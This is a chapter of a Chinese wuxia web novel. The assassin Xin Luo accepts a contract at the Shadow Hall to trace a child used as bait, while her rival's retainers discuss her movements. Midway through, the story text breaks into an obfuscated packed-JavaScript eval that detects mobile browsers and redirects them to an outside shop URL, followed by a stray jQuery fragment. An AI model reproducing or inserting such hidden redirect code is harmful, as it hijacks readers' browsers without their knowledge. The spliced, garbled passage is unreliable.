凭照赤锋院那张简略的十二堂坐落图,辛珞找了好久才找到暗影堂的具体位置。
堂门前,她抬头,眼含探究。
此建筑四柱擎天,通体暗沉,门口大开,其上悬挂有一青面罗刹,凸眼獠牙似鬼泣,森森然可怖。牌匾方正,黑墨字体潦草,暗影堂三字尽数连笔。
辛珞没急着进去,而是在原地理了理。
暗影堂是永夜宫刺客聚集地,永夜宫起初靠单纯接单杀人起家,后越做越大,不再满足于单一生意盘,而是向其他基业扩展,逐渐在江湖中站稳脚跟,直至今日,已是江湖最不可忽视的势力之一。
即便如此,永夜宫也没忘记老本行,反而将许多资源都倾向暗影堂,培养一个又一个刺客,此乃立身之本,财源名头稳定。
她从这里厮杀出来,里面一定留有某些痕迹。
思及此,辛珞才往里走去。
暗影堂分区甚多,她步履缓慢,余光四处扫视,地面由稀石铺就,走起来一点声音也没有。这里视野着实暗调,十分贴合暗夜刺客的习性。
迈过中区,正堂映入眼帘,她才看到人。
堂内端坐之人瞧着像是个管事的,见到辛珞,竟直接站起,假笑行来,虚虚拱手:“影大人,真是稀客,可是宫主有差事?”
周遭零散有几人,一听影大人这名头,纷纷瞄过来,随后又各自做事。少听,少看,少言,多做,是宫规。
辛珞未看这管事一眼,而是望向堂内四面高墙悬挂的吊牌,琳琅满目,颜色不一,附星辰状。
数量之盛,果如漫天星辰。
她粗略扫过,都是极简略之字。比如夜半三更,京子渡口,截杀某人;正月初八,上杉虎隘,保运私货等等。
这里当为任务区。
她以前就是在这接的任务吗?
看到这些,虽然没有记忆,但心中总归浮现出一点熟悉。
“嘶……”又是一阵头疼,辛珞轻捂额角。
第二次了,这疼虽不至忍不了,但发作时毫无规律,且又迅又猛,没有留给她准备的时间,待反应过来时,就又消失了。
“影大人?”她一抬头,就见管事微妙的看着她。
辛珞压下那股不适,接着扫过一个个吊牌。
最后,她目光微顿,竟在右上角处看到一熟悉名字。
——小冬。
辛珞的脑中浮现出那张怯生生的小脸,眼底划过冷意。
若她所知不差,这就是永夜宫的任务榜,分甲乙丙丁四类,星辰刻于牌面下角,星星越多,代表任务等级越高。甲等任务为目标刺杀,最低二十星,而小冬就在其中。
星牌所言:明安鬼童,携玉玦而生,望手杀之。
这是必杀令。
管事的见辛珞对这牌有兴趣,便道:“这是一个新任务,十几日前就收录在这的,雇主没有给出具体报酬,是以无人想接,故置于下角。”
“我要接这个任务。”
“什么?”管事以为自己听错了。
辛珞再次重复:“这个任务,我接了。”
她神情冰冷,心知那人把这个任务挂在这里,就是想引她前去。鬼童,呵,这个叫宋琰的人真是好手段,用她的威胁招数来威胁她,还冠以鬼童的恶名,这一点,可比她无耻多了。
只是这“携玉玦而生”……宋琰不可能无缘无故提起什么玉玦,既要确保一定能将她引去,莫非是跟她有关?
管事看她不似玩笑,奇道:“影大人如今是宫主门徒,只出宫主亲派任务,已经很久没来接暗影堂的单子了。就算之前接,也从不接三十星以下的啊。”
辛珞装听不懂他话里的阴阳怪气,也不知此前他和她有过什么龃龉,直接反问:“怎么,不能接?”
管事无话可说,冷道:“影大人想接什么自然都可以,只要在对应月牌上写下名字,此星牌任务自然就归你了。”
辛珞暗暗记下。即大概步骤就是:看中任务、月牌签字、任务完成、取下星牌。任务失败定是会受罚,至于任务成功后会怎样,她试试就知道了。
管事从集柜中取出对应任务月牌,辛珞写下自己的名字后交给他,管事走去墙前,将月牌挂在星牌旁边,代表此任务已有人接。之后他重新回到原处,不冷不热道:“请便。”
辛珞没动,而是说道:“雇主可有留下什么东西?比如交货地点之类的?”
“有倒是有,这位雇主可是个神秘人,除了交付正常押金外,还留下一份图纸,声称接此任务者自可明白,没说交货地点,也不走堂内盖定。”管事道。
辛珞想都没想,直接道:“把这标注图给我。”
“可以,十功筹。"
辛珞皱眉。管事简洁意骇,“这也算任务信息。”
她懂了。接了任务后还不算,因为星牌上只简短写了目标,要想知道任务对象更多信息,只能用功筹来换。
只是这管事多少有点夹带私货了,因为这并非小冬这个任务目标的独门信息,而是属于交易方的行为,但他把它算在任务范围之列,缘由雇主并没有把标注图作为公开信息,是以要靠刺客自掏腰包换取也算说得过去。
管事见辛珞迟迟没回话,便道:“影大人是很久没接普通任务,生疏了不成?”
这人八成跟她有仇。奈何辛珞今日没空,只能等以后再来收拾他。
“标注图给我,功筹你扣。”她道。
“影大人的星月功录早已不在暗影堂,还需您从青鸾堂调任过来。”
“那就先欠着。”辛珞漫不经心。
管事冷笑:“没有这个规矩。”
辛珞突然道:“你是何种身份?”
他一愣,未做思考便快口说出:“暗影堂副堂主。”
原是个副堂主,倒是看走眼了。辛珞接着问:“宫主徒弟可有堂口的特殊行事权?”
副堂主眉心拧起:“位居第二者是为宫主之徒,高于各堂,在不破宫规下确有此权,但宫主明确规定任务信息必须由功筹来换.....”
“我只是延后再换,并未想赖账。”辛珞打断他,“再者,宫规第一条,除宫主外,下级面对上级必持服从第一,质疑第二。副堂主,你越规了。”
副堂主彻底说不出话来了,老老实实把标注图翻出来给她。
辛珞拿到后也是懒得与他多言,跨步出门,徒留副堂主在背后一脸愤懑。
*
空幽院。
假山怪石嶙峋,前日下过一场雨,截流的雨水在假山内顺着小孔而出,澈光盈盈,哗哗啦啦,如听仙乐耳暂明。
漆行寂又在下棋,一手执黑,一手执白,在棋盘上下得有来有回。
乌凡的脚步声匆匆而来,还没站稳就向他禀报:“主子,辛珞姑娘在暗影堂接了个任务,二十星的。”
“这个时候?”漆行寂的黑子吃了一个白子,神情暗淡下来,话也问得随意。
“锦州之行将近,此任务定然干系重大,需要属下去查查是什么任务吗?”
漆行寂长睫低垂,轻声道:“不必,不重要。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628426|205392||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>这还不重要?
乌凡偷瞄他一眼,总觉得主子哪里不对劲,前些日子还叫他盯好辛珞的一举一动,随时汇报,现在居然说她的事情不重要?!
不过他身为下属,首要任务就是服从,不敢去揣度主子的心思。
随后他略过这个话题,又汇报起另外一件事:“主子,近几日宫内有所异动,似是混进了什么人,属下的轮值之位连着五日都凭空出现这个东西,放的极其隐蔽。”
他展开手心,上面是一张笺纸,材料由桑皮制成,外部是勾尾状,形似连绵不绝的群山,笔触遒劲。
漆行寂盯着笺纸看了半会,面色沉沉,道:“烧了。”
“是。”乌凡什么也没问,只是遵令。
“找出那人,动作慢些,不要打草惊蛇。”
“是。”
漆行寂又重新回到棋盘上,这次,白子和黑子齐平。他神色倦怠,把白子扔到棋奁中,看上去心情不大好。
乌凡还没退出去,外间就又响起一阵脚步声,唐洛进来,语气一派轻松道:“主子,属下打听到影大人去暗影堂了!”
他颇为自得,脸上洋洋兴奋,期待得到漆行寂的夸奖。
乌凡在一旁无眼相看。
“嗯。”漆行寂淡淡回了声。
唐洛似乎还不满足,急切想要说些什么:“主子,影大人夸我跟您像,属下觉得我应该已经取得了她的信任,以后属下可以在她面前为您说话,早日让她臣服于您!”
漆行寂本倦懒闭眼,闻言撩起眼皮,玩味道:“她夸你像我?”
唐洛觉着主子关注错了地方,可还是重重点头。
颇为有趣,他不自觉勾了音,追问:“夸了什么?”
在他别样的注视下,唐洛振然开口,一字不差道:“假模假样,如出一辙。”
漆行寂提起的嘴角僵住。
*
不到几个时辰,辛珞就穿过永夜宫的石门,路过荒野来到明安县。
明安依旧如上次来的时候那般热闹,吆喝声不绝于耳。辛珞无心观赏,敞开副堂主给的标注图,她没去西坊街巷找阿梨母女,而是在图上细细琢磨。
她知道小冬只不过是宋琰抛出的饵,要么人还在街巷,要么就已被他捉去。
这个宋琰可不简单,上回与他交谈就看出此人极阴,心胸狭窄,应该不是什么好人。这任务挂在暗影堂有几日了,照他的性子,保不定以为她在故意晾着他或是拒绝交易,没准真会对小冬她们下手。
说到底这事辛珞有责任,抛开无枭的因素不谈,宋琰是跟踪她到了那街坊,不然也不会有这茬了。
这点她确实没处理好。
星牌上没有写雇主交货地点,仅留下这标注图,他这是要让她自己猜。
本是求着她办事,可这人却是高高在上,身份可以隐瞒,骨子里的傲气可改变不了,除了华清门弟子外,此人的真实身份定然不低。
标注图敲定了四个方位,神王庙、游蓑园、浮云楼以及西坊后山。
这西坊后山就是无枭的埋骨之地,也是上次他堵她的地方。
除此以外,其他三个地方可都是明安的盛地,辛珞就去了两个,这个宋琰还真会选地方。
他要让她猜,其实答案早就写脸上了,上回他不肯轻易说出交易内容,是因为还没得到她的一个准确态度,证明此交易于他而言重要且私密,这次逼她而来,地点一定是安全的、全是他自己人的地方。
辛珞眼里精光闪烁,锁定标注图上最边缘的位置。